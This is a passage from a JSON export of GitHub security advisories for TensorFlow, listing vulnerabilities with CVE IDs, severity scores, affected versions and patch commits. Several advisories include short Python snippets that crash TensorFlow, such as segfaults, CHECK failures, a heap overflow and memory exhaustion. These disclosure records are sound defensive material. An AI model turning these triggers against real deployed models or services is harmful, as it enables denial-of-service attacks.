390611e0d45c5793c7066110af37c8514e6a6c54 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-63xm-rx5p-xvqr](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-63xm-rx5p-xvqr)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9mqp-7v2h-2382","https://github.com/tensorflow/tensorflow/commit/390611e0d45c5793c7066110af37c8514e6a6c54","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15194","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-274.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-309.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-117.yaml","https://github.com/advisories/GHSA-9mqp-7v2h-2382"],"source_kind":"github","identifiers":["GHSA-9mqp-7v2h-2382","CVE-2020-15194"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.854Z","updated_at":"2024-10-28T20:02:44.000Z","epss_percentage":0.0022,"epss_percentile":0.44727},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRnOWYtNjNyeC01Y3c0","url":"https://github.com/advisories/GHSA-4g9f-63rx-5cw4","title":"Segfault in Tensorflow","description":"### Impact\nThe [`tf.raw_ops.Switch`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/Switch) operation takes as input a tensor and a boolean and outputs two tensors. Depending on the boolean value, one of the tensors is exactly the input tensor whereas the other one should be an empty tensor.\n\nHowever, the eager runtime traverses all tensors in the output:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/common_runtime/eager/kernel_and_device.cc#L308-L313\n\nSince only one of the tensors is defined, the other one is `nullptr`, hence we are binding a reference to `nullptr`. This is undefined behavior and reported as an error if compiling with `-fsanitize=null`. In this case, this results in a segmentation fault\n\n### Patches\nWe have patched the issue in da8558533d925694483d2c136a9220d6d49d843c and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4g9f-63rx-5cw4","https://github.com/tensorflow/tensorflow/commit/da8558533d925694483d2c136a9220d6d49d843c","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15190","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-270.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-305.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-113.yaml","https://github.com/advisories/GHSA-4g9f-63rx-5cw4"],"source_kind":"github","identifiers":["GHSA-4g9f-63rx-5cw4","CVE-2020-15190"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":25.799294776932964,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.873Z","updated_at":"2024-10-28T20:05:37.000Z","epss_percentage":0.00189,"epss_percentile":0.41272},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWZyeHgtMm0zMy02d2Ny","url":"https://github.com/advisories/GHSA-frxx-2m33-6wcr","title":"Improper Restriction of Operations within the Bounds of a Memory Buffer in Google TensorFlow","description":"Google TensorFlow 1.7 and below is affected by: Buffer Overflow. The impact is: execute arbitrary code (local). Users passing a malformed or malicious version of a TFLite graph into TOCO will cause TOCO to crash or cause a buffer overflow, potentially allowing malicious code to be executed.\n\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2019-04-24T16:11:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-8825","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2018-003.md","https://github.com/tensorflow/tensorflow/commit/41335abb46f80ca644b5738550daef6136ba5476","https://github.com/tensorflow/tensorflow/commit/8badd11d875a826bd318ed439909d5c47a7fb811","https://github.com/advisories/GHSA-frxx-2m33-6wcr","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2019-226.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2019-233.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2019-208.yaml"],"source_kind":"github","identifiers":["GHSA-frxx-2m33-6wcr","CVE-2018-8825"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":42.34978576590883,"packages":[{"versions":[{"first_patched_version":"1.7.1","vulnerable_version_range":"\u003e= 1.5.0, \u003c 1.7.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"1.7.1","vulnerable_version_range":"\u003e= 1.5.0, \u003c 1.7.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:30.339Z","updated_at":"2024-10-28T14:01:24.000Z","epss_percentage":0.00245,"epss_percentile":0.47765},{"uuid":"GSA_kwCzR0hTQS1oNXZxLWd3MmMtcHE0N84AAu2i","url":"https://github.com/advisories/GHSA-h5vq-gw2c-pq47","title":"TensorFlow vulnerable to `CHECK` failures in `UnbatchGradOp`","description":"### Impact\nThe [`UnbatchGradOp`](https://github.com/tensorflow/tensorflow/blob/769eddaf479c8debead9a59a72617d6ed6f0fe10/tensorflow/core/kernels/batch_kernels.cc#L891) function takes an argument `id` that is assumed to be a scalar. A nonscalar `id` can trigger a `CHECK` failure and crash the program.\n```python\nimport numpy as np\nimport tensorflow as tf\n\n# `id` is not scalar\ntf.raw_ops.UnbatchGrad(original_input= tf.constant([1]),batch_index=tf.constant([[0,0,0 ], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([1,1,], dtype=tf.int64))\n```\nIt also requires its argument `batch_index` to contain three times the number of elements as indicated in its `batch_index.dim_size(0)`. An incorrect `batch_index` can trigger a `CHECK` failure and crash the program.\n```python\nimport numpy as np\nimport tensorflow as tf\n\n# batch_index's size is not 3\ntf.raw_ops.UnbatchGrad(original_input= tf.constant([1]),batch_index=tf.constant([[0,0], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([1,], dtype=tf.int64))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [5f945fc6409a3c1e90d6970c9292f805f6e6ddf2](https://github.com/tensorflow/tensorflow/commit/5f945fc6409a3c1e90d6970c9292f805f6e6ddf2).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Kang Hong Jin from Singapore Management University and 刘力源 from the Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:12:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h5vq-gw2c-pq47","https://github.com/tensorflow/tensorflow/commit/5f945fc6409a3c1e90d6970c9292f805f6e6ddf2","https://github.com/tensorflow/tensorflow/blob/769eddaf479c8debead9a59a72617d6ed6f0fe10/tensorflow/core/kernels/batch_kernels.cc#L891","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35952","https://github.com/advisories/GHSA-h5vq-gw2c-pq47"],"source_kind":"github","identifiers":["GHSA-h5vq-gw2c-pq47","CVE-2022-35952"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.103Z","updated_at":"2023-01-28T05:03:02.000Z","epss_percentage":0.00327,"epss_percentile":0.5502},{"uuid":"GSA_kwCzR0hTQS02NDQ1LWZtNjYtZnZxMs0ohw","url":"https://github.com/advisories/GHSA-6445-fm66-fvq2","title":"Integer overflows in Tensorflow","description":"### Impact \nThe [implementation of `AddManySparseToTensorsMap`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/sparse_tensors_map_ops.cc) is vulnerable to an integer overflow which results in a `CHECK`-fail when building new `TensorShape` objects (so, an assert failure based denial of service):\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.AddManySparseToTensorsMap(\n    sparse_indices=[(0,0),(0,1),(0,2),(4,3),(5,0),(5,1)],\n    sparse_values=[1,1,1,1,1,1],\n    sparse_shape=[2**32,2**32],\n    container='',\n    shared_name='',\n    name=None)\n```\n\nWe are missing some validation on the shapes of the input tensors as well as directly constructing a large `TensorShape` with user-provided dimensions. The latter is an instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197) and is easily fixed by replacing a call to `TensorShape` constructor with a call to `BuildTensorShape` static helper factory.\n### Patches\nWe have patched the issue in GitHub commits [b51b82fe65ebace4475e3c54eb089c18a4403f1c](https://github.com/tensorflow/tensorflow/commit/b51b82fe65ebace4475e3c54eb089c18a4403f1c) and [a68f68061e263a88321c104a6c911fe5598050a8](https://github.com/tensorflow/tensorflow/commit/a68f68061e263a88321c104a6c911fe5598050a8).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:39:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6445-fm66-fvq2","https://github.com/tensorflow/tensorflow/commit/a68f68061e263a88321c104a6c911fe5598050a8","https://github.com/tensorflow/tensorflow/commit/b51b82fe65ebace4475e3c54eb089c18a4403f1c","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/sparse_tensors_map_ops.cc","https://nvd.nist.gov/vuln/detail/CVE-2022-23568","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-77.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-132.yaml","https://github.com/advisories/GHSA-6445-fm66-fvq2"],"source_kind":"github","identifiers":["GHSA-6445-fm66-fvq2","CVE-2022-23568"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.851Z","updated_at":"2024-11-13T22:44:39.000Z","epss_percentage":0.00303,"epss_percentile":0.5317},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk3N2oteGo3cS0yanI5","url":"https://github.com/advisories/GHSA-977j-xj7q-2jr9","title":"Segmentation faultin TensorFlow when converting a Python string to `tf.float16`","description":"### Impact\n\nConverting a string (from Python) to a `tf.float16` value results in a segmentation fault in eager mode as the format checks for this use case are only in the graph mode.\n\nThis issue can lead to denial of service in inference/training where a malicious attacker can send a data point which contains a string instead of a `tf.float16` value.\n\nSimilar effects can be obtained by manipulating saved models and checkpoints whereby replacing a scalar `tf.float16` value with a scalar string will trigger this issue due to automatic conversions.\n\nThis can be easily reproduced by `tf.constant(\"hello\", tf.float16)`, if eager execution is enabled.\n\n### Patches\nWe have patched the vulnerability in GitHub commit [5ac1b9](https://github.com/tensorflow/tensorflow/commit/5ac1b9e24ff6afc465756edf845d2e9660bd34bf).\n\nWe are additionally releasing TensorFlow 1.15.1 and 2.0.1 with this vulnerability patched.\n\nTensorFlow 2.1.0 was released after we fixed the issue, thus it is not affected.\n\nWe encourage users to switch to TensorFlow 1.15.1, 2.0.1 or 2.1.0.\n\n### For more information\n\nPlease consult [`SECURITY.md`](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2020-01-28T21:32:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":1.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-977j-xj7q-2jr9","https://github.com/tensorflow/tensorflow/commit/5ac1b9e24ff6afc465756edf845d2e9660bd34bf","https://github.com/tensorflow/tensorflow/releases/tag/v1.15.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.0.1","https://nvd.nist.gov/vuln/detail/CVE-2020-5215","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-303.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-338.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-258.yaml","https://github.com/advisories/GHSA-977j-xj7q-2jr9"],"source_kind":"github","identifiers":["GHSA-977j-xj7q-2jr9","CVE-2020-5215"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":4.8677914673458424,"packages":[{"versions":[{"first_patched_version":"2.0.1","vulnerable_version_range":"= 2.0.0"},{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003c 1.15.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.0.1","vulnerable_version_range":"= 2.0.0"},{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003c 1.15.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.0.1","vulnerable_version_range":"= 2.0.0"},{"first_patched_version":"1.15.2","vulnerable_version_range":"\u003c 1.15.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:26.439Z","updated_at":"2024-10-30T21:27:17.000Z","epss_percentage":0.0025,"epss_percentile":0.48204},{"uuid":"GSA_kwCzR0hTQS1jNTgyLWM5NnAtcjVjcc0ocg","url":"https://github.com/advisories/GHSA-c582-c96p-r5cq","title":"Memory exhaustion in Tensorflow","description":"### Impact \nThe [implementation of `ThreadPoolHandle`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/data/experimental/threadpool_dataset_op.cc#L79-L135) can be used to trigger a denial of service attack by allocating too much memory:\n\n```python\nimport tensorflow as tf\ny = tf.raw_ops.ThreadPoolHandle(num_threads=0x60000000,display_name='tf')\n```\n\nThis is because the `num_threads` argument is only checked to not be negative, but there is no upper bound on its value.\n    \n### Patches\nWe have patched the issue in GitHub commit [e3749a6d5d1e8d11806d4a2e9cc3123d1a90b75e](https://github.com/tensorflow/tensorflow/commit/e3749a6d5d1e8d11806d4a2e9cc3123d1a90b75e).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-10T00:20:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c582-c96p-r5cq","https://github.com/tensorflow/tensorflow/commit/e3749a6d5d1e8d11806d4a2e9cc3123d1a90b75e","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/data/experimental/threadpool_dataset_op.cc#L79-L135","https://nvd.nist.gov/vuln/detail/CVE-2022-21732","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-56.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-111.yaml","https://github.com/advisories/GHSA-c582-c96p-r5cq"],"source_kind":"github","identifiers":["GHSA-c582-c96p-r5cq","CVE-2022-21732"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":25.799294776932964,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.131Z","updated_at":"2024-11-13T22:12:48.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"GSA_kwCzR0hTQS00Mjh4LTl4YzItbThtas0oew","url":"https://github.com/advisories/GHSA-428x-9xc2-m8mj","title":"Division by zero in TFLite","description":"### Impact \nAn attacker can craft a TFLite model that would trigger a division by zero in [the implementation of depthwise convolutions](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/lite/kernels/depthwise_conv.cc#L96).\n\nThe parameters of the convolution can be user controlled and are also used within a division operation to determine the size of the padding that needs to be added before applying the convolution. There is no check before this division that the divisor is stricly positive.\n\n### Patches              \nWe have patched the issue in GitHub commit [e5b0eec199c2d03de54fd6a7fd9275692218e2bc](https://github.com/tensorflow/tensorflow/commit/e5b0eec199c2d03de54fd6a7fd9275692218e2bc).\n  \nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Wang Xuan of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:47:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-428x-9xc2-m8mj","https://github.com/tensorflow/tensorflow/commit/e5b0eec199c2d03de54fd6a7fd9275692218e2bc","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/lite/kernels/depthwise_conv.cc#L96","https://nvd.nist.gov/vuln/detail/CVE-2022-21741","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-65.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-120.yaml","https://github.com/advisories/GHSA-428x-9xc2-m8mj"],"source_kind":"github","identifiers":["GHSA-428x-9xc2-m8mj","CVE-2022-21741"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.015Z","updated_at":"2024-11-13T22:34:19.000Z","epss_percentage":0.00232,"epss_percentile":0.46052},{"uuid":"GSA_kwCzR0hTQS00NHFwLTl3d2YtNzM0cs0oeg","url":"https://github.com/advisories/GHSA-44qp-9wwf-734r","title":"Heap overflow in Tensorflow","description":"### Impact \nThe [implementation of `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273) is vulnerable to a heap overflow:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.raw_ops.SparseCountSparseOutput(\n  indices=[[-1,-1]],\n  values=[2],\n  dense_shape=[1, 1],\n  weights=[1],\n  binary_output=True,\n  minlength=-1,\n  maxlength=-1,\n  name=None)\n```\n\n### Patches\nWe have patched the issue in GitHub commits [2b7100d6cdff36aa21010a82269bc05a6d1cc74a](https://github.com/tensorflow/tensorflow/commit/2b7100d6cdff36aa21010a82269bc05a6d1cc74a) and [adbbabdb0d3abb3cdeac69e38a96de1d678b24b3](https://github.com/tensorflow/tensorflow/commit/adbbabdb0d3abb3cdeac69e38a96de1d678b24b3).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Faysal Hossain Shezan from University of 